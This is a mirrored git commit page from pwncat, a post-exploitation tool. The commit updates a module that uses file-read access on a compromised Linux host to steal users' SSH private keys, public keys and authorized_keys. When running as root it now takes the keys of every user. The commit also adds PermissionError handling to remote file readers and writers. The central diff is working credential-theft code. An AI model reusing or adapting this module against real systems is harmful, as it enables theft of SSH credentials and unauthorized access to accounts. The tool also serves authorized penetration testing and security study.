mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Merge pull request #182 from calebstewart/issue-181-leak-privkey-root
Updated leak_privkey to leak all keys when UID=0
This commit is contained in:
commit
cbd6f1d20f
@ -24,6 +24,8 @@ and simply didn't have the time to go back and retroactively create one.
|
||||
- Added `OSError` for `bind` protocol to show appropriate error messages
|
||||
### Changed
|
||||
- Changed some 'red' warning message color to 'yellow'
|
||||
- Leak private keys for all users w/ file-read ability as UID=0 ([#181](https://github.com/calebstewart/pwncat/issues/181))
|
||||
- Raise `PermissionError` when underlying processes terminate unsuccessfully for `LinuxReader` and `LinuxWriter`
|
||||
|
||||
## [0.4.3] - 2021-06-18
|
||||
Patch fix release. Major fixes are the correction of file IO for LinuxWriters and
|
||||
|
@ -18,64 +18,77 @@ class Module(EnumerateModule):
|
||||
"""Locate usable file read abilities and generate escalations"""
|
||||
|
||||
# Ensure users are already cached
|
||||
list(session.iter_users())
|
||||
all_users = list(session.iter_users())
|
||||
already_leaked = []
|
||||
|
||||
for ability in session.run("enumerate", types=["ability.file.read"]):
|
||||
|
||||
user = session.find_user(uid=ability.uid)
|
||||
if user is None:
|
||||
continue
|
||||
if ability.uid == 0:
|
||||
users = all_users
|
||||
else:
|
||||
user = session.find_user(uid=ability.uid)
|
||||
if user is None:
|
||||
continue
|
||||
users = [user]
|
||||
|
||||
yield Status(f"leaking key for [blue]{user.name}[/blue]")
|
||||
for user in users:
|
||||
if user in already_leaked:
|
||||
continue
|
||||
|
||||
ssh_path = session.platform.Path(user.home, ".ssh")
|
||||
authkeys = None
|
||||
pubkey = None
|
||||
# We assume its an authorized key even if we can't read authorized_keys
|
||||
# This will be modified if connection ever fails.
|
||||
authorized = True
|
||||
yield Status(f"leaking key for [blue]{user.name}[/blue]")
|
||||
|
||||
try:
|
||||
with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp:
|
||||
privkey = filp.read()
|
||||
except (ModuleFailed, FileNotFoundError, PermissionError):
|
||||
yield Status(
|
||||
f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]"
|
||||
)
|
||||
continue
|
||||
ssh_path = session.platform.Path(user.home, ".ssh")
|
||||
authkeys = None
|
||||
pubkey = None
|
||||
# We assume its an authorized key even if we can't read authorized_keys
|
||||
# This will be modified if connection ever fails.
|
||||
authorized = True
|
||||
|
||||
try:
|
||||
with ability.open(session, str(ssh_path / "id_rsa.pub"), "r") as filp:
|
||||
pubkey = filp.read()
|
||||
if pubkey.strip() == "":
|
||||
pubkey = None
|
||||
except (ModuleFailed, FileNotFoundError, PermissionError):
|
||||
yield Status(
|
||||
f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]"
|
||||
)
|
||||
|
||||
if pubkey is not None and pubkey != "":
|
||||
try:
|
||||
with ability.open(
|
||||
session, str(ssh_path / "authorized_keys"), "r"
|
||||
) as filp:
|
||||
authkeys = filp.read()
|
||||
if authkeys.strip() == "":
|
||||
authkeys = None
|
||||
with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp:
|
||||
privkey = filp.read()
|
||||
except (ModuleFailed, FileNotFoundError, PermissionError):
|
||||
yield Status(
|
||||
f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]"
|
||||
f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]"
|
||||
)
|
||||
continue
|
||||
|
||||
try:
|
||||
with ability.open(
|
||||
session, str(ssh_path / "id_rsa.pub"), "r"
|
||||
) as filp:
|
||||
pubkey = filp.read()
|
||||
if pubkey.strip() == "":
|
||||
pubkey = None
|
||||
except (ModuleFailed, FileNotFoundError, PermissionError):
|
||||
yield Status(
|
||||
f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]"
|
||||
)
|
||||
|
||||
if pubkey is not None and authkeys is not None:
|
||||
# We can identify if this key is authorized
|
||||
authorized = pubkey.strip() in authkeys
|
||||
if pubkey is not None and pubkey != "":
|
||||
try:
|
||||
with ability.open(
|
||||
session, str(ssh_path / "authorized_keys"), "r"
|
||||
) as filp:
|
||||
authkeys = filp.read()
|
||||
if authkeys.strip() == "":
|
||||
authkeys = None
|
||||
except (ModuleFailed, FileNotFoundError, PermissionError):
|
||||
yield Status(
|
||||
f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]"
|
||||
)
|
||||
|
||||
yield PrivateKey(
|
||||
self.name,
|
||||
str(ssh_path / "id_rsa"),
|
||||
ability.uid,
|
||||
privkey,
|
||||
False,
|
||||
authorized=authorized,
|
||||
)
|
||||
if pubkey is not None and authkeys is not None:
|
||||
# We can identify if this key is authorized
|
||||
authorized = pubkey.strip() in authkeys
|
||||
|
||||
yield PrivateKey(
|
||||
self.name,
|
||||
str(ssh_path / "id_rsa"),
|
||||
user.id,
|
||||
privkey,
|
||||
False,
|
||||
authorized=authorized,
|
||||
)
|
||||
|
||||
already_leaked.append(user)
|
||||
|
@ -343,6 +343,12 @@ class LinuxReader(BufferedIOBase):
|
||||
self.popen.terminate()
|
||||
self.popen.wait()
|
||||
|
||||
# This happens immediately upon the first read attempt because the process will have
|
||||
# exited. During testing, this seems reliable. It's not ideal, but we don't know what
|
||||
# the remote process is...
|
||||
if self.popen.returncode != 0:
|
||||
raise PermissionError(self.name)
|
||||
|
||||
self.detach()
|
||||
|
||||
|
||||
@ -484,6 +490,12 @@ class LinuxWriter(BufferedIOBase):
|
||||
self.popen.kill()
|
||||
self.popen.wait()
|
||||
|
||||
# This happens immediately upon the first read attempt because the process will have
|
||||
# exited. During testing, this seems reliable. It's not ideal, but we don't know what
|
||||
# the remote process is...
|
||||
if self.popen.returncode != 0:
|
||||
raise PermissionError(self.name)
|
||||
|
||||
# Ensure we don't touch stdio again
|
||||
self.detach()
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user